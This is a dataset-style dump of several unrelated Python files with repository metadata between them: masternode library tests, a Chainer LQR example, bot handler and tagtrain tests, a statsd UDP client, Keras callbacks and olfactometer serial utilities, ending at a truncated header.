yUuAsYCnG5XrjgsGvRwcDqPhgLUnzNfe8L 1474157732 1590425 1474155175 71122 [2604:a880:800:a1::9b:0]:19999', u'656695ed867e193490261bea74783f0a39329ff634a10a9fb6f131807eeca744-1': u' ENABLED 70201 yepN97UoBLoP2hzWnwWGRVTcWtw1niKwcB 1474157704 824622 1474152571 71110 178.62.203.249:19999', } mnlist = [Masternode(vin, mnstring) for (vin, mnstring) in masternodelist_full.items()] return mnlist @pytest.fixture def mn_status_good(): # valid masternode status enabled & running status = { "vin": "CTxIn(COutPoint(f68a2e5d64f4a9be7ff8d0fbd9059dcd3ce98ad7a19a9260d1d6709127ffac56, 1), scriptSig=)", "service": "[2604:a880:800:a1::9b:0]:19999", "pubkey": "yUuAsYCnG5XrjgsGvRwcDqPhgLUnzNfe8L", "status": "Masternode successfully started" } return status @pytest.fixture def mn_status_bad(): # valid masternode but not running/waiting status = { "vin": "CTxIn(COutPoint(0000000000000000000000000000000000000000000000000000000000000000, 4294967295), coinbase )", "service": "[::]:0", "status": "Node just started, not yet activated" } return status # ======================================================================== def test_valid_parking_address(): from parkinglib import is_valid_parking_address main = valid_parking_address() test = valid_parking_address('testnet') assert is_valid_parking_address(main) is True assert is_valid_parking_address(main, 'mainnet') is True assert is_valid_parking_address(main, 'testnet') is False assert is_valid_parking_address(test) is False assert is_valid_parking_address(test, 'mainnet') is False assert is_valid_parking_address(test, 'testnet') is True def test_invalid_parking_address(): from parkinglib import is_valid_parking_address main = invalid_parking_address() test = invalid_parking_address('testnet') assert is_valid_parking_address(main) is False assert is_valid_parking_address(main, 'mainnet') is False assert is_valid_parking_address(main, 'testnet') is False assert is_valid_parking_address(test) is False assert is_valid_parking_address(test, 'mainnet') is False assert is_valid_parking_address(test, 'testnet') is False def test_deterministic_masternode_elections(current_block_hash, mn_list): winner = elect_mn(block_hash=current_block_hash, mnlist=mn_list) assert winner == 'f68a2e5d64f4a9be7ff8d0fbd9059dcd3ce98ad7a19a9260d1d6709127ffac56-1' winner = elect_mn(block_hash='00000056bcd579fa3dc9a1ee41e8124a4891dcf2661aa3c07cc582bfb63b52b9', mnlist=mn_list) assert winner == '656695ed867e193490261bea74783f0a39329ff634a10a9fb6f131807eeca744-1' def test_deterministic_masternode_elections(current_block_hash, mn_list): from parkinglib import elect_mn winner = elect_mn(block_hash=current_block_hash, mnlist=mn_list) assert winner == 'f68a2e5d64f4a9be7ff8d0fbd9059dcd3ce98ad7a19a9260d1d6709127ffac56-1' winner = elect_mn(block_hash='00000056bcd579fa3dc9a1ee41e8124a4891dcf2661aa3c07cc582bfb63b52b9', mnlist=mn_list) assert winner == '656695ed867e193490261bea74783f0a39329ff634a10a9fb6f131807eeca744-1' def test_parse_masternode_status_vin(): from parkinglib import parse_masternode_status_vin status = mn_status_good() vin = parse_masternode_status_vin(status['vin']) assert vin == 'f68a2e5d64f4a9be7ff8d0fbd9059dcd3ce98ad7a19a9260d1d6709127ffac56-1' status = mn_status_bad() vin = parse_masternode_status_vin(status['vin']) assert vin is None def test_hash_function(): import parkinglib sb_data_hex = '7b226576656e745f626c6f636b5f686569676874223a2037323639362c20227061796d656e745f616464726573736573223a2022795965384b77796155753559737753596d42337133727978385854557539793755697c795965384b77796155753559737753596d4233713372797838585455753979375569222c20227061796d656e745f616d6f756e7473223a202232352e37353030303030307c32352e3735303030303030222c202274797065223a20327d' sb_hash = '7ae8b02730113382ea75cbb1eecc497c3aa1fdd9e76e875e38617e07fb2cb21a' hex_hash = "%x" % parkinglib.hashit(sb_data_hex) assert hex_hash == sb_hash def test_blocks_to_seconds(): import parkinglib from decimal import Decimal precision = Decimal('0.001') assert Decimal(parkinglib.blocks_to_seconds(0)) == Decimal(0.0) assert Decimal(parkinglib.blocks_to_seconds(2)).quantize(precision) \ == Decimal(314.4).quantize(precision) assert int(parkinglib.blocks_to_seconds(16616)) == 2612035

40.070922

380

0.777699

import pytest import sys import os os.environ['SENTINEL_CONFIG'] = os.path.normpath(os.path.join(os.path.dirname(__file__), '../test_sentinel.conf')) sys.path.append(os.path.normpath(os.path.join(os.path.dirname(__file__), '../../lib'))) @pytest.fixture def valid_parking_address(network='mainnet'): return 'yYe8KwyaUu5YswSYmB3q3ryx8XTUu9y7Ui' if (network == 'testnet') else 'XpjStRH8SgA6PjgebtPZqCa9y7hLXP767n' @pytest.fixture def invalid_parking_address(network='mainnet'): return 'yYe8KwyaUu5YswSYmB3q3ryx8XTUu9y7Uj' if (network == 'testnet') else 'XpjStRH8SgA6PjgebtPZqCa9y7hLXP767m' @pytest.fixture def current_block_hash(): return '000001c9ba1df5a1c58a4e458fb6febfe9329b1947802cd60a4ae90dd754b534' @pytest.fixture def mn_list(): from masternode import Masternode masternodelist_full = { u'701854b26809343704ab31d1c45abc08f9f83c5c2bd503a9d5716ef3c0cda857-1': u' ENABLED 70201 yjaFS6dudxUTxYPTDB9BYd1Nv4vMJXm3vK 1474157572 82842 1474152618 71111 52.90.74.124:19999', u'f68a2e5d64f4a9be7ff8d0fbd9059dcd3ce98ad7a19a9260d1d6709127ffac56-1': u' ENABLED 70201 yUuAsYCnG5XrjgsGvRwcDqPhgLUnzNfe8L 1474157732 1590425 1474155175 71122 [2604:a880:800:a1::9b:0]:19999', u'656695ed867e193490261bea74783f0a39329ff634a10a9fb6f131807eeca744-1': u' ENABLED 70201 yepN97UoBLoP2hzWnwWGRVTcWtw1niKwcB 1474157704 824622 1474152571 71110 178.62.203.249:19999', } mnlist = [Masternode(vin, mnstring) for (vin, mnstring) in masternodelist_full.items()] return mnlist @pytest.fixture def mn_status_good(): status = { "vin": "CTxIn(COutPoint(f68a2e5d64f4a9be7ff8d0fbd9059dcd3ce98ad7a19a9260d1d6709127ffac56, 1), scriptSig=)", "service": "[2604:a880:800:a1::9b:0]:19999", "pubkey": "yUuAsYCnG5XrjgsGvRwcDqPhgLUnzNfe8L", "status": "Masternode successfully started" } return status @pytest.fixture def mn_status_bad(): status = { "vin": "CTxIn(COutPoint(0000000000000000000000000000000000000000000000000000000000000000, 4294967295), coinbase )", "service": "[::]:0", "status": "Node just started, not yet activated" } return status def test_valid_parking_address(): from parkinglib import is_valid_parking_address main = valid_parking_address() test = valid_parking_address('testnet') assert is_valid_parking_address(main) is True assert is_valid_parking_address(main, 'mainnet') is True assert is_valid_parking_address(main, 'testnet') is False assert is_valid_parking_address(test) is False assert is_valid_parking_address(test, 'mainnet') is False assert is_valid_parking_address(test, 'testnet') is True def test_invalid_parking_address(): from parkinglib import is_valid_parking_address main = invalid_parking_address() test = invalid_parking_address('testnet') assert is_valid_parking_address(main) is False assert is_valid_parking_address(main, 'mainnet') is False assert is_valid_parking_address(main, 'testnet') is False assert is_valid_parking_address(test) is False assert is_valid_parking_address(test, 'mainnet') is False assert is_valid_parking_address(test, 'testnet') is False def test_deterministic_masternode_elections(current_block_hash, mn_list): winner = elect_mn(block_hash=current_block_hash, mnlist=mn_list) assert winner == 'f68a2e5d64f4a9be7ff8d0fbd9059dcd3ce98ad7a19a9260d1d6709127ffac56-1' winner = elect_mn(block_hash='00000056bcd579fa3dc9a1ee41e8124a4891dcf2661aa3c07cc582bfb63b52b9', mnlist=mn_list) assert winner == '656695ed867e193490261bea74783f0a39329ff634a10a9fb6f131807eeca744-1' def test_deterministic_masternode_elections(current_block_hash, mn_list): from parkinglib import elect_mn winner = elect_mn(block_hash=current_block_hash, mnlist=mn_list) assert winner == 'f68a2e5d64f4a9be7ff8d0fbd9059dcd3ce98ad7a19a9260d1d6709127ffac56-1' winner = elect_mn(block_hash='00000056bcd579fa3dc9a1ee41e8124a4891dcf2661aa3c07cc582bfb63b52b9', mnlist=mn_list) assert winner == '656695ed867e193490261bea74783f0a39329ff634a10a9fb6f131807eeca744-1' def test_parse_masternode_status_vin(): from parkinglib import parse_masternode_status_vin status = mn_status_good() vin = parse_masternode_status_vin(status['vin']) assert vin == 'f68a2e5d64f4a9be7ff8d0fbd9059dcd3ce98ad7a19a9260d1d6709127ffac56-1' status = mn_status_bad() vin = parse_masternode_status_vin(status['vin']) assert vin is None def test_hash_function(): import parkinglib sb_data_hex = '7b226576656e745f626c6f636b5f686569676874223a2037323639362c20227061796d656e745f616464726573736573223a2022795965384b77796155753559737753596d42337133727978385854557539793755697c795965384b77796155753559737753596d4233713372797838585455753979375569222c20227061796d656e745f616d6f756e7473223a202232352e37353030303030307c32352e3735303030303030222c202274797065223a20327d' sb_hash = '7ae8b02730113382ea75cbb1eecc497c3aa1fdd9e76e875e38617e07fb2cb21a' hex_hash = "%x" % parkinglib.hashit(sb_data_hex) assert hex_hash == sb_hash def test_blocks_to_seconds(): import parkinglib from decimal import Decimal precision = Decimal('0.001') assert Decimal(parkinglib.blocks_to_seconds(0)) == Decimal(0.0) assert Decimal(parkinglib.blocks_to_seconds(2)).quantize(precision) \ == Decimal(314.4).quantize(precision) assert int(parkinglib.blocks_to_seconds(16616)) == 2612035

true

790c5ceee140cc410ea703f768529c4f172a1fea

2,260

py

Python

examples/Boyd_lqr.py

msakai/chainer-differentiable-mpc

dba5712f42a684748515d9ad5e2ff2823516c88e

[ "MIT" ]

10

2019-10-07T03:00:42.000Z

2022-01-14T01:49:14.000Z

examples/Boyd_lqr.py

msakai/chainer-differentiable-mpc

dba5712f42a684748515d9ad5e2ff2823516c88e

[ "MIT" ]

null

examples/Boyd_lqr.py

msakai/chainer-differentiable-mpc

dba5712f42a684748515d9ad5e2ff2823516c88e

[ "MIT" ]

6

2019-10-08T05:04:40.000Z

2022-02-28T09:40:54.000Z

# -*- coding: utf-8 -*- # --- # jupyter: # jupytext: # text_representation: # extension: .py # format_name: light # format_version: '1.4' # jupytext_version: 1.2.1 # kernelspec: # display_name: Python 3 # language: python # name: python3 # --- import sys print(sys.path) sys.path.append("../lqr") from lqr_recursion import LqrRecursion import chainer import numpy as np import matplotlib.pyplot as plt T =51 f = None n_state =3 n_ctrl =1 n_sc = n_ctrl +n_state F =chainer.Variable(np.array([(np.array([[ 1.0,0, 0, 1], [1,1.0,0,0], [0, 1, 1, 0]])) for i in range(T)])).reshape(T,1,n_state,n_sc,) c = chainer.Variable(np.array([(np.array([0,0,0.0,0]).T) for i in range(T)])).reshape(T,1,n_sc,) _C = np.array([np.array([[0,0 ,0,0],[0,0,0,0],[0,0,1.0,0],[0,0,0,1]]) for i in range(T-1)]) _C = np.append(_C , np.array([[0,0 ,0,0],[0,0,0,0],[0,0,1.0,0],[0,0,0,0.00000000000001]])) C = chainer.Variable(_C).reshape(T,1,n_sc, n_sc) x_init = chainer.Variable(np.array([0.5428, 0.7633,0.3504])).reshape(1,n_state) C test = LqrRecursion(x_init,C,c,F,f,T,n_state,n_ctrl) Ks, ks = test.backward() k1 =[] k2 = [] fig, ax = plt.subplots() for i in range(T-1): k1.append(Ks[i][0][0][0].data) k2.append(Ks[i][0][0][1].data) major_ticks = np.arange(0,T, 2) ax.grid(which = "major", axis = "x", color = "blue", alpha = 0.8, linestyle = "--", linewidth = 1) ax.grid(which = "major", axis = "y", color = "green", alpha = 0.8, linestyle = "--", linewidth = 1) ax.set_xticks(major_ticks) ax.set_ylim(-0.5, 1.2) ax.plot(k1) ax.plot(k2) ax.set_ylim(-2, 0) ax.set_xlim(0,T) x,u = test.solve_recursion() # + us = [] for i in range(T): us.append(x[i][0][0].data) fig, ax = plt.subplots() ax.grid(which = "major", axis = "x", color = "blue", alpha = 0.8, linestyle = "--", linewidth = 1) # y軸に目盛線を設定 ax.grid(which = "major", axis = "y", color = "green", alpha = 0.8, linestyle = "--", linewidth = 1) major_ticks = np.arange(0, 20, 2) ax.set_xticks(major_ticks) ax.set_ylim(-2, 1) ax.set_xlim(0, 20) ax.plot(us, marker='.') plt.show() # - Ks Ks len(Ks) x

23.298969

96

0.567257

import sys print(sys.path) sys.path.append("../lqr") from lqr_recursion import LqrRecursion import chainer import numpy as np import matplotlib.pyplot as plt T =51 f = None n_state =3 n_ctrl =1 n_sc = n_ctrl +n_state F =chainer.Variable(np.array([(np.array([[ 1.0,0, 0, 1], [1,1.0,0,0], [0, 1, 1, 0]])) for i in range(T)])).reshape(T,1,n_state,n_sc,) c = chainer.Variable(np.array([(np.array([0,0,0.0,0]).T) for i in range(T)])).reshape(T,1,n_sc,) _C = np.array([np.array([[0,0 ,0,0],[0,0,0,0],[0,0,1.0,0],[0,0,0,1]]) for i in range(T-1)]) _C = np.append(_C , np.array([[0,0 ,0,0],[0,0,0,0],[0,0,1.0,0],[0,0,0,0.00000000000001]])) C = chainer.Variable(_C).reshape(T,1,n_sc, n_sc) x_init = chainer.Variable(np.array([0.5428, 0.7633,0.3504])).reshape(1,n_state) C test = LqrRecursion(x_init,C,c,F,f,T,n_state,n_ctrl) Ks, ks = test.backward() k1 =[] k2 = [] fig, ax = plt.subplots() for i in range(T-1): k1.append(Ks[i][0][0][0].data) k2.append(Ks[i][0][0][1].data) major_ticks = np.arange(0,T, 2) ax.grid(which = "major", axis = "x", color = "blue", alpha = 0.8, linestyle = "--", linewidth = 1) ax.grid(which = "major", axis = "y", color = "green", alpha = 0.8, linestyle = "--", linewidth = 1) ax.set_xticks(major_ticks) ax.set_ylim(-0.5, 1.2) ax.plot(k1) ax.plot(k2) ax.set_ylim(-2, 0) ax.set_xlim(0,T) x,u = test.solve_recursion() us = [] for i in range(T): us.append(x[i][0][0].data) fig, ax = plt.subplots() ax.grid(which = "major", axis = "x", color = "blue", alpha = 0.8, linestyle = "--", linewidth = 1) ax.grid(which = "major", axis = "y", color = "green", alpha = 0.8, linestyle = "--", linewidth = 1) major_ticks = np.arange(0, 20, 2) ax.set_xticks(major_ticks) ax.set_ylim(-2, 1) ax.set_xlim(0, 20) ax.plot(us, marker='.') plt.show() Ks Ks len(Ks) x

true

790c5e3bc06dbbfc7cc0dd46b37ad7eaabe03919

282

py

Python

core/modules/handler/__init__.py

codacy-badger/nebula-2

81a257f6485da1899a2cb1df348a57332aa4b55c

[ "Apache-2.0" ]

null

core/modules/handler/__init__.py

codacy-badger/nebula-2

81a257f6485da1899a2cb1df348a57332aa4b55c

[ "Apache-2.0" ]

null

core/modules/handler/__init__.py

codacy-badger/nebula-2

81a257f6485da1899a2cb1df348a57332aa4b55c

[ "Apache-2.0" ]

null

__all__ = ["main_handler", "welcome", "bad_words", "admin_command", "joke", "send_nudes", "custom_handler", "delete_buttons", "super_ban_handler" ] from core.modules.handler import *

23.5

34

0.478723

__all__ = ["main_handler", "welcome", "bad_words", "admin_command", "joke", "send_nudes", "custom_handler", "delete_buttons", "super_ban_handler" ] from core.modules.handler import *

true

790c5e409b73da6e783e80a037b3297ffd5fb732

2,047

py

Python

tests/tagtrain/test_remove.py

c17r/TagTrain

5aa1ca36439cc5e81d0c691f905a4bb879b78399

[ "MIT" ]

null

tests/tagtrain/test_remove.py

c17r/TagTrain

5aa1ca36439cc5e81d0c691f905a4bb879b78399

[ "MIT" ]

7

2020-03-24T17:54:31.000Z

2021-09-21T12:34:34.000Z

tests/tagtrain/test_remove.py

c17r/TagTrain

5aa1ca36439cc5e81d0c691f905a4bb879b78399

[ "MIT" ]

null

from unittest.mock import MagicMock, patch, call from tagtrain import data from . import fake from tagtrain.tagtrain.tt_remove import Remove @patch('tagtrain.data.by_owner.remove_user_from_group') def test_unknown_group(remove_user_from_group): remove_user_from_group.side_effect = data.Group.DoesNotExist() app, reply, message, match = fake.create_all() Remove(app).run(reply, message, match) remove_user_from_group.assert_called_once_with('AuthorName', 'GroupName', 'MemberName') reply.append.assert_called_once_with('Group `GroupName` does not exist. Skipping.') @patch('tagtrain.data.by_owner.remove_user_from_group') def test_unknown_member(remove_user_from_group): remove_user_from_group.side_effect = data.Member.DoesNotExist() app, reply, message, match = fake.create_all() Remove(app).run(reply, message, match) remove_user_from_group.assert_called_once_with('AuthorName', 'GroupName', 'MemberName') reply.append.assert_called_once_with('`MemberName` is not a Member of Group `GroupName`. Skipping.') @patch('tagtrain.data.by_owner.remove_user_from_group') def test_good(remove_user_from_group): remove_user_from_group.return_value = fake.create_group(name='GroupName', member_count=99) app, reply, message, match = fake.create_all() Remove(app).run(reply, message, match) remove_user_from_group.assert_called_once_with('AuthorName', 'GroupName', 'MemberName') reply.append.assert_called_once_with('`MemberName` removed from Group `GroupName`, 99 total Members.') @patch('tagtrain.data.by_owner.remove_user_from_group') def test_good_no_members(remove_user_from_group): remove_user_from_group.return_value = fake.create_group(name='GroupName', member_count=0) app, reply, message, match = fake.create_all() Remove(app).run(reply, message, match) remove_user_from_group.assert_called_once_with('AuthorName', 'GroupName', 'MemberName') reply.append.assert_called_once_with('`MemberName` removed from Group `GroupName`, 0 total Members.')

38.622642

106

0.778701

from unittest.mock import MagicMock, patch, call from tagtrain import data from . import fake from tagtrain.tagtrain.tt_remove import Remove @patch('tagtrain.data.by_owner.remove_user_from_group') def test_unknown_group(remove_user_from_group): remove_user_from_group.side_effect = data.Group.DoesNotExist() app, reply, message, match = fake.create_all() Remove(app).run(reply, message, match) remove_user_from_group.assert_called_once_with('AuthorName', 'GroupName', 'MemberName') reply.append.assert_called_once_with('Group `GroupName` does not exist. Skipping.') @patch('tagtrain.data.by_owner.remove_user_from_group') def test_unknown_member(remove_user_from_group): remove_user_from_group.side_effect = data.Member.DoesNotExist() app, reply, message, match = fake.create_all() Remove(app).run(reply, message, match) remove_user_from_group.assert_called_once_with('AuthorName', 'GroupName', 'MemberName') reply.append.assert_called_once_with('`MemberName` is not a Member of Group `GroupName`. Skipping.') @patch('tagtrain.data.by_owner.remove_user_from_group') def test_good(remove_user_from_group): remove_user_from_group.return_value = fake.create_group(name='GroupName', member_count=99) app, reply, message, match = fake.create_all() Remove(app).run(reply, message, match) remove_user_from_group.assert_called_once_with('AuthorName', 'GroupName', 'MemberName') reply.append.assert_called_once_with('`MemberName` removed from Group `GroupName`, 99 total Members.') @patch('tagtrain.data.by_owner.remove_user_from_group') def test_good_no_members(remove_user_from_group): remove_user_from_group.return_value = fake.create_group(name='GroupName', member_count=0) app, reply, message, match = fake.create_all() Remove(app).run(reply, message, match) remove_user_from_group.assert_called_once_with('AuthorName', 'GroupName', 'MemberName') reply.append.assert_called_once_with('`MemberName` removed from Group `GroupName`, 0 total Members.')

true

790c5e8c77ccc8d864f5d6056fd6ac278203a09d

1,531

py

Python

statsd/client/udp.py

cclauss/pystatsd-1

1c90b9fdf322680e2625da659abc2aa5d79b5bff

[ "MIT" ]

null

statsd/client/udp.py

cclauss/pystatsd-1

1c90b9fdf322680e2625da659abc2aa5d79b5bff

[ "MIT" ]

null

statsd/client/udp.py

cclauss/pystatsd-1

1c90b9fdf322680e2625da659abc2aa5d79b5bff

[ "MIT" ]

1

2020-11-01T04:03:38.000Z

from __future__ import absolute_import, division, unicode_literals import socket from .base import StatsClientBase, PipelineBase class Pipeline(PipelineBase): def __init__(self, client): super(Pipeline, self).__init__(client) self._maxudpsize = client._maxudpsize def _send(self): data = self._stats.popleft() while self._stats: # Use popleft to preserve the order of the stats. stat = self._stats.popleft() if len(stat) + len(data) + 1 >= self._maxudpsize: self._client._after(data) data = stat else: data += '\n' + stat self._client._after(data) class StatsClient(StatsClientBase): """A client for statsd.""" def __init__(self, host='localhost', port=8125, prefix=None, maxudpsize=512, ipv6=False): """Create a new client.""" fam = socket.AF_INET6 if ipv6 else socket.AF_INET family, _, _, _, addr = socket.getaddrinfo( host, port, fam, socket.SOCK_DGRAM)[0] self._addr = addr self._sock = socket.socket(family, socket.SOCK_DGRAM) self._prefix = prefix self._maxudpsize = maxudpsize def _send(self, data): """Send data to statsd.""" try: self._sock.sendto(data.encode('ascii'), self._addr) except (socket.error, RuntimeError): # No time for love, Dr. Jones! pass def pipeline(self): return Pipeline(self)

30.019608

66

0.594383

from __future__ import absolute_import, division, unicode_literals import socket from .base import StatsClientBase, PipelineBase class Pipeline(PipelineBase): def __init__(self, client): super(Pipeline, self).__init__(client) self._maxudpsize = client._maxudpsize def _send(self): data = self._stats.popleft() while self._stats: stat = self._stats.popleft() if len(stat) + len(data) + 1 >= self._maxudpsize: self._client._after(data) data = stat else: data += '\n' + stat self._client._after(data) class StatsClient(StatsClientBase): def __init__(self, host='localhost', port=8125, prefix=None, maxudpsize=512, ipv6=False): fam = socket.AF_INET6 if ipv6 else socket.AF_INET family, _, _, _, addr = socket.getaddrinfo( host, port, fam, socket.SOCK_DGRAM)[0] self._addr = addr self._sock = socket.socket(family, socket.SOCK_DGRAM) self._prefix = prefix self._maxudpsize = maxudpsize def _send(self, data): try: self._sock.sendto(data.encode('ascii'), self._addr) except (socket.error, RuntimeError): pass def pipeline(self): return Pipeline(self)

true

790c5f4af793f98a8a8efe7949d616b14f82edda

2,828

py

Python

src/predictionAlgorithms/machineLearning/helpers/callbacks.py

aivaras-ciurlionis/meteo

434759d16f7cca505d280475611d1fef5176827b

[ "MIT" ]

null

src/predictionAlgorithms/machineLearning/helpers/callbacks.py

aivaras-ciurlionis/meteo

434759d16f7cca505d280475611d1fef5176827b

[ "MIT" ]

6

2020-05-23T11:30:48.000Z

2022-03-11T23:45:06.000Z

src/predictionAlgorithms/machineLearning/helpers/callbacks.py

aivaras-ciurlionis/meteo

434759d16f7cca505d280475611d1fef5176827b

[ "MIT" ]

null

import keras from sklearn.metrics import roc_auc_score from src.predictionAlgorithms.machineLearning.helpers.validation import Validation import matplotlib matplotlib.use('agg') import matplotlib.pyplot as plt import numpy as np import os import glob class Callbacks(keras.callbacks.Callback): validationSequences = [] algorithm = None number = 1 validation_frequency = 1 size = 64 step = 1 base = 4 def set_step(self, step): self.step = step return self def set_base(self, base): self.base = base return base def set_size(self, size): self.size = size return self def set_validation_frequency(self, frequency): self.validation_frequency = frequency return self def set_validation_data(self, validation_data): self.validationSequences = validation_data return self def set_algorithm(self, algorithm): self.algorithm = algorithm return self def on_train_begin(self, logs={}): # Initialize the lists for holding the logs, losses and accuracies self.losses = [] self.acc = [] self.val_losses = [] self.val_acc = [] self.logs = [] epoch_graphs = glob.glob('../output/*') for f in epoch_graphs: os.remove(f) def on_train_end(self, logs={}): return def on_epoch_begin(self, epoch, logs={}): return def on_epoch_end(self, epoch, logs={}): if self.number % self.validation_frequency != 0: self.number += 1 return validation = Validation() validation.set_validation_data(self.validationSequences)\ .set_dimensions(self.size)\ .set_base(self.base)\ .set_step(self.step)\ .validate(self.algorithm) self.number += 1 self.logs.append(logs) self.losses.append(logs.get('loss')) self.acc.append(logs.get('acc')) self.val_losses.append(logs.get('val_loss')) self.val_acc.append(logs.get('val_acc')) if len(self.losses) > 1: N = np.arange(0, len(self.losses)) plt.figure() plt.plot(N, self.losses, label="train_loss") plt.plot(N, self.acc, label="train_acc") plt.plot(N, self.val_losses, label="val_loss") plt.plot(N, self.val_acc, label="val_acc") plt.title("Training Loss and Accuracy [Epoch {}]".format(epoch)) plt.xlabel("Epoch #") plt.ylabel("Loss/Accuracy") plt.legend() plt.savefig('../output/Epoch-{}.png'.format(epoch)) plt.close() return def on_batch_begin(self, batch, logs={}): return def on_batch_end(self, batch, logs={}): return

28

82

0.597595

import keras from sklearn.metrics import roc_auc_score from src.predictionAlgorithms.machineLearning.helpers.validation import Validation import matplotlib matplotlib.use('agg') import matplotlib.pyplot as plt import numpy as np import os import glob class Callbacks(keras.callbacks.Callback): validationSequences = [] algorithm = None number = 1 validation_frequency = 1 size = 64 step = 1 base = 4 def set_step(self, step): self.step = step return self def set_base(self, base): self.base = base return base def set_size(self, size): self.size = size return self def set_validation_frequency(self, frequency): self.validation_frequency = frequency return self def set_validation_data(self, validation_data): self.validationSequences = validation_data return self def set_algorithm(self, algorithm): self.algorithm = algorithm return self def on_train_begin(self, logs={}): self.losses = [] self.acc = [] self.val_losses = [] self.val_acc = [] self.logs = [] epoch_graphs = glob.glob('../output/*') for f in epoch_graphs: os.remove(f) def on_train_end(self, logs={}): return def on_epoch_begin(self, epoch, logs={}): return def on_epoch_end(self, epoch, logs={}): if self.number % self.validation_frequency != 0: self.number += 1 return validation = Validation() validation.set_validation_data(self.validationSequences)\ .set_dimensions(self.size)\ .set_base(self.base)\ .set_step(self.step)\ .validate(self.algorithm) self.number += 1 self.logs.append(logs) self.losses.append(logs.get('loss')) self.acc.append(logs.get('acc')) self.val_losses.append(logs.get('val_loss')) self.val_acc.append(logs.get('val_acc')) if len(self.losses) > 1: N = np.arange(0, len(self.losses)) plt.figure() plt.plot(N, self.losses, label="train_loss") plt.plot(N, self.acc, label="train_acc") plt.plot(N, self.val_losses, label="val_loss") plt.plot(N, self.val_acc, label="val_acc") plt.title("Training Loss and Accuracy [Epoch {}]".format(epoch)) plt.xlabel("Epoch #") plt.ylabel("Loss/Accuracy") plt.legend() plt.savefig('../output/Epoch-{}.png'.format(epoch)) plt.close() return def on_batch_begin(self, batch, logs={}): return def on_batch_end(self, batch, logs={}): return

true

790c5f9070d838cdcf8fa8c3eb3daa1d9f51e605

3,766

py

Python

olfactometry/utils.py

olfa-lab/PyBpodGUI

73895e493d982fd1d3abb5c8b521de116ef87c79

[ "MIT" ]

null

olfactometry/utils.py

olfa-lab/PyBpodGUI

73895e493d982fd1d3abb5c8b521de116ef87c79

[ "MIT" ]

null

olfactometry/utils.py

olfa-lab/PyBpodGUI

73895e493d982fd1d3abb5c8b521de116ef87c79

[ "MIT" ]

1

2021-12-03T16:18:57.000Z

import os import json import logging import serial from serial.tools import list_ports import time CONFIG_FILENAME_DEFAULT = 'olfa_config.json' def get_olfa_config(config_filename=''): """ Find and parse olfactometer configuration JSON. :param config_filename: string with path to configuration. :return: returns a tuple with (config_fn, config_dict) :rtype: tuple """ if not config_filename: logging.info("No olfa config file specified, looking for default in OLFA_CONFIG os variable") config_filename = os.environ.get("OLFA_CONFIG") #if it didnt find it there, it tries the legacy default if not config_filename: config_filename = CONFIG_FILENAME_DEFAULT logging.info("No OLFA_CONFIG os variable, trying with legacy default " + CONFIG_FILENAME_DEFAULT) if os.path.exists(config_filename): with open(config_filename) as f: config = json.load(f) else: raise Exception('No olfactometer configuration file found at {0}'.format(config_filename)) return config_filename, config def flatten_dictionary(dictionary, separator=':', flattened_dict=None, parent_string=''): """ Flattens nested dictionary into a single dictionary: {'hello': {'world': 1, 'moon': 2}} becomes: {'hello:world': 1, 'hello:moon': 2} Uses recursion to flatten as many layers as exist in your dictionary. :param dictionary: nested dictionary you wish to flatten. :param flattened_dict: (used for recursion) current flattened dictionary to add to :param parent_string: (used for recursion) current key string to use as prefix for :return: flattened dictionary :type dictionary: dict :type flattened_dict: dict :type parent_string: str :rtype: dict """ if flattened_dict is None: # dicts are mutable, so we shouldn't use a dict as the default argument!!! flattened_dict = {} # instead, redeclare an empty dictionary here. for k, v in dictionary.items(): if parent_string: full_key = "{0}{1}{2}".format(parent_string, separator, k) else: full_key = k if isinstance(v, dict): # use recursion to flatten and add nested dictionaries to the product. _ = flatten_dictionary(v, flattened_dict=flattened_dict, parent_string=full_key) else: flattened_dict[full_key] = v return flattened_dict def connect_serial(port, baudrate=115200, timeout=1, writeTimeout=1): """ Return Serial object after making sure that the port is accessible and that the port is expressed as a string. :param port: str or int (ie "COM4" or 4 for Windows). :param baudrate: baudrate. :param timeout: read timeout in seconds, default 1 sec. :param writeTimeout: write timeout in seconds, default 1 sec. :return: serial port object. :rtype: serial.Serial """ if isinstance(port, int): port = "COM{0}".format(port) names_list = list() for i in list_ports.comports(): names_list.append(i[0]) if port not in names_list: print(("Serial not found on {0}.".format(port))) print('Listing current serial ports with devices:') for ser in list_ports.comports(): ser_str = '\t{0}: {1}'.format(ser[0], ser[1]) print(ser_str) time.sleep(.01) # just to let the above lines print before the exemption is raised. cleans console output. raise serial.SerialException('Requested COM port: {0} is not listed as connected.'.format(port)) else: return serial.Serial(port, baudrate=baudrate, timeout=timeout, writeTimeout=writeTimeout) class OlfaException(Exception): pass

36.921569

115

0.674456

import os import json import logging import serial from serial.tools import list_ports import time CONFIG_FILENAME_DEFAULT = 'olfa_config.json' def get_olfa_config(config_filename=''): if not config_filename: logging.info("No olfa config file specified, looking for default in OLFA_CONFIG os variable") config_filename = os.environ.get("OLFA_CONFIG") if not config_filename: config_filename = CONFIG_FILENAME_DEFAULT logging.info("No OLFA_CONFIG os variable, trying with legacy default " + CONFIG_FILENAME_DEFAULT) if os.path.exists(config_filename): with open(config_filename) as f: config = json.load(f) else: raise Exception('No olfactometer configuration file found at {0}'.format(config_filename)) return config_filename, config def flatten_dictionary(dictionary, separator=':', flattened_dict=None, parent_string=''): if flattened_dict is None: flattened_dict = {} # instead, redeclare an empty dictionary here. for k, v in dictionary.items(): if parent_string: full_key = "{0}{1}{2}".format(parent_string, separator, k) else: full_key = k if isinstance(v, dict): # use recursion to flatten and add nested dictionaries to the product. _ = flatten_dictionary(v, flattened_dict=flattened_dict, parent_string=full_key) else: flattened_dict[full_key] = v return flattened_dict def connect_serial(port, baudrate=115200, timeout=1, writeTimeout=1): if isinstance(port, int): port = "COM{0}".format(port) names_list = list() for i in list_ports.comports(): names_list.append(i[0]) if port not in names_list: print(("Serial not found on {0}.".format(port))) print('Listing current serial ports with devices:') for ser in list_ports.comports(): ser_str = '\t{0}: {1}'.format(ser[0], ser[1]) print(ser_str) time.sleep(.01) # just to let the above lines print before the exemption is raised. cleans console output. raise serial.SerialException('Requested COM port: {0} is not listed as connected.'.format(port)) else: return serial.Serial(port, baudrate=baudrate, timeout=timeout, writeTimeout=writeTimeout) class OlfaException(Exception): pass

true

790c5fcb996d72b9571af6b7d6b1843518659273

7,274

py

Python

src/drf_yasg/renderers.py

yihuang/drf-yasg

e860ce315f85b93731b5d7a7dfcc91149d2a1948

[ "BSD-3-Clause" ]

null

src/drf_yasg/renderers.py

yihuang/drf-yasg

e860ce315f85b93731b5d7a7dfcc91149d2a1948

